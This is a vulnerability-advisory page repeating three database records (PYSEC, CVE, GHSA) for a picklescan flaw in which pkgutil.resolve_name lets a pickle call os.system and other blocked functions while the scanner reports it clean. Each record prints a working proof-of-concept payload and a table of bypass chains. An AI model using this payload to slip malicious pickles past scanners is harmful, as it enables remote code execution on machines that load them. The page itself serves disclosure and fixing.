PYSEC-2026-456

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23

Details

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees: - STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN - The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain	Resolves To	Confirmed RCE	picklescan Result
`resolve_name("os:system")`	`os.system`	YES	CLEAN
`resolve_name("builtins:exec")`	`builtins.exec`	YES	CLEAN
`resolve_name("builtins:eval")`	`builtins.eval`	YES	CLEAN
`resolve_name("subprocess:getoutput")`	`subprocess.getoutput`	YES	CLEAN
`resolve_name("subprocess:getstatusoutput")`	`subprocess.getstatusoutput`	YES	CLEAN
`resolve_name("subprocess:call")`	`subprocess.call`	YES (shell=True needed)	CLEAN
`resolve_name("subprocess:check_call")`	`subprocess.check_call`	YES (shell=True needed)	CLEAN
`resolve_name("subprocess:check_output")`	`subprocess.check_output`	YES (shell=True needed)	CLEAN
`resolve_name("posix:system")`	`posix.system`	YES	CLEAN
`resolve_name("cProfile:run")`	`cProfile.run`	YES	CLEAN
`resolve_name("profile:run")`	`profile.run`	YES	CLEAN
`resolve_name("pty:spawn")`	`pty.spawn`	YES	CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

```python import struct, io, pickle

def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b

resolve_name("os:system")("id")

payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL + sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system") + sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id") + b"." # STOP )

# picklescan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN!

Execute: runs os.system("id") → RCE

pickle.loads(payload) ```

Why `pkgutil` Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

Immediate: Add pkgutil to _unsafe_globals: python "pkgutil": {"resolve_name"},
Also block similar resolution functions: python "importlib": "*", "importlib.util": "*",
Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:
Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
Treating unknown globals as dangerous by default
Switching to an allowlist model

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impacted products

Name	purl
picklescan	pkg:pypi/picklescan

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3490",
    "GHSA-vvpj-8cmc-gx39"
  ],
  "details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle\u0027s opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan\u0027s **entire blocklist concept** \u2014 every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) \u2014 Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") \u2192 returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") \u2192 RCE\n```\n\npicklescan\u0027s opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` \u2192 **NOT in blocklist** \u2192 CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import \u2192 **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) \u2014 picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name(\u0027os:system\u0027)          # Returns the actual os.system function\n_var1 = _var0(\u0027malicious_command\u0027)          # Calls os.system(\u0027malicious_command\u0027)\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan\u0027s blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n \n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n \n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\"  # STACK_GLOBAL\n    + sbu(\"os:system\") + b\"\\x85\" + b\"R\"                # REDUCE: resolve_name(\"os:system\")\n    + sbu(\"id\") + b\"\\x85\" + b\"R\"                       # REDUCE: os.system(\"id\")\n    + b\".\"                                               # STOP\n)\n\n # picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs os.system(\"id\") \u2192 RCE\npickle.loads(payload)\n ```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan\u0027s `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility \u2014 its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan\u0027s security model. The entire blocklist \u2014 every module and function entry in `_unsafe_globals` \u2014 is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n \nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan\u0027s blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n   ```python\n   \"pkgutil\": {\"resolve_name\"},\n   ```\n \n2. **Also block similar resolution functions:**\n   ```python\n   \"importlib\": \"*\",\n   \"importlib.util\": \"*\",\n   ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n   - Treating unknown globals as dangerous by default\n   - Switching to an allowlist model",
  "id": "PYSEC-2026-456",
  "modified": "2026-07-01T20:23:00.003107Z",
  "published": "2026-06-29T11:50:44.845189Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/picklescan"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vvpj-8cmc-gx39"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s pkgutil.resolve_name has a universal blocklist bypass"
}

CVE-2026-3490 (GCVE-0-2026-3490)

Vulnerability from cvelistv5 – Published: 2026-06-17 15:05 – Updated: 2026-06-18 15:23

Title

picklescan - Universal Blocklist Bypass via pkgutil.resolve_name

Summary

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Severity

10 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-18 15:20 UTC

CWE

CWE-183 - Permissive List of Allowed Inputs

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/mmaitre314/picklescan/security…	vendor-advisory
https://www.vulncheck.com/advisories/picklescan-u…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
picklescan	picklescan	Affected: 0 , < 1.0.4 (semver) Unaffected: 1.0.4 (semver) cpe:2.3:a:mmaitre314:picklescan::::::::

Date Public

2026-03-02 00:00

Credits

yash2998chhabria

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-3490",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-18T15:20:40.069385Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-18T15:23:36.077Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/picklescan",
          "product": "picklescan",
          "vendor": "picklescan",
          "versions": [
            {
              "lessThan": "1.0.4",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "1.0.4",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:mmaitre314:picklescan:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "1.0.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "yash2998chhabria"
        }
      ],
      "datePublic": "2026-03-02T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-183",
              "description": "Permissive List of Allowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-17T15:05:01.522Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GHSA Advisory GHSA-vvpj-8cmc-gx39",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
        },
        {
          "name": "VulnCheck Advisory: picklescan - Universal Blocklist Bypass via pkgutil.resolve_name",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
        }
      ],
      "title": "picklescan - Universal Blocklist Bypass via pkgutil.resolve_name",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-3490",
    "datePublished": "2026-06-17T15:05:01.522Z",
    "dateReserved": "2026-03-03T16:11:38.661Z",
    "dateUpdated": "2026-06-18T15:23:36.077Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-VVPJ-8CMC-GX39

Vulnerability from github – Published: 2026-03-03 20:04 – Updated: 2026-06-18 14:45

Summary

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Details

Summary

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain	Resolves To	Confirmed RCE	picklescan Result
`resolve_name("os:system")`	`os.system`	YES	CLEAN
`resolve_name("builtins:exec")`	`builtins.exec`	YES	CLEAN
`resolve_name("builtins:eval")`	`builtins.eval`	YES	CLEAN
`resolve_name("subprocess:getoutput")`	`subprocess.getoutput`	YES	CLEAN
`resolve_name("subprocess:getstatusoutput")`	`subprocess.getstatusoutput`	YES	CLEAN
`resolve_name("subprocess:call")`	`subprocess.call`	YES (shell=True needed)	CLEAN
`resolve_name("subprocess:check_call")`	`subprocess.check_call`	YES (shell=True needed)	CLEAN
`resolve_name("subprocess:check_output")`	`subprocess.check_output`	YES (shell=True needed)	CLEAN
`resolve_name("posix:system")`	`posix.system`	YES	CLEAN
`resolve_name("cProfile:run")`	`cProfile.run`	YES	CLEAN
`resolve_name("profile:run")`	`profile.run`	YES	CLEAN
`resolve_name("pty:spawn")`	`pty.spawn`	YES	CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why `pkgutil` Is Not Blocked

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

Immediate: Add pkgutil to _unsafe_globals: python "pkgutil": {"resolve_name"},
Also block similar resolution functions: python "importlib": "*", "importlib.util": "*",
Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:
Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
Treating unknown globals as dangerous by default
Switching to an allowlist model

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:04:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle\u0027s opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan\u0027s **entire blocklist concept** \u2014 every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) \u2014 Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") \u2192 returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") \u2192 RCE\n```\n\npicklescan\u0027s opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` \u2192 **NOT in blocklist** \u2192 CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import \u2192 **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) \u2014 picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name(\u0027os:system\u0027)          # Returns the actual os.system function\n_var1 = _var0(\u0027malicious_command\u0027)          # Calls os.system(\u0027malicious_command\u0027)\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan\u0027s blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\"  # STACK_GLOBAL\n    + sbu(\"os:system\") + b\"\\x85\" + b\"R\"                # REDUCE: resolve_name(\"os:system\")\n    + sbu(\"id\") + b\"\\x85\" + b\"R\"                       # REDUCE: os.system(\"id\")\n    + b\".\"                                               # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs os.system(\"id\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan\u0027s `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility \u2014 its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan\u0027s security model. The entire blocklist \u2014 every module and function entry in `_unsafe_globals` \u2014 is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan\u0027s blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n   ```python\n   \"pkgutil\": {\"resolve_name\"},\n   ```\n\n2. **Also block similar resolution functions:**\n   ```python\n   \"importlib\": \"*\",\n   \"importlib.util\": \"*\",\n   ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n   - Treating unknown globals as dangerous by default\n   - Switching to an allowlist model",
  "id": "GHSA-vvpj-8cmc-gx39",
  "modified": "2026-06-18T14:45:31Z",
  "published": "2026-03-03T20:04:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s pkgutil.resolve_name has a universal blocklist bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-456

Summary

Severity

Affected Versions

Details

How It Works

Decompiled Pickle (what the data actually does)

Confirmed Bypass Targets

Proof of Concept

resolve_name("os:system")("id")

Execute: runs os.system("id") → RCE

Why pkgutil Is Not Blocked

Impact

Suggested Fix

CVE-2026-3490 (GCVE-0-2026-3490)

GHSA-VVPJ-8CMC-GX39

Summary

Severity

Affected Versions

Details

How It Works

Decompiled Pickle (what the data actually does)

Confirmed Bypass Targets

Proof of Concept

Why pkgutil Is Not Blocked

Impact

Suggested Fix

Tags

Sightings

Nomenclature

Related by attack behaviour

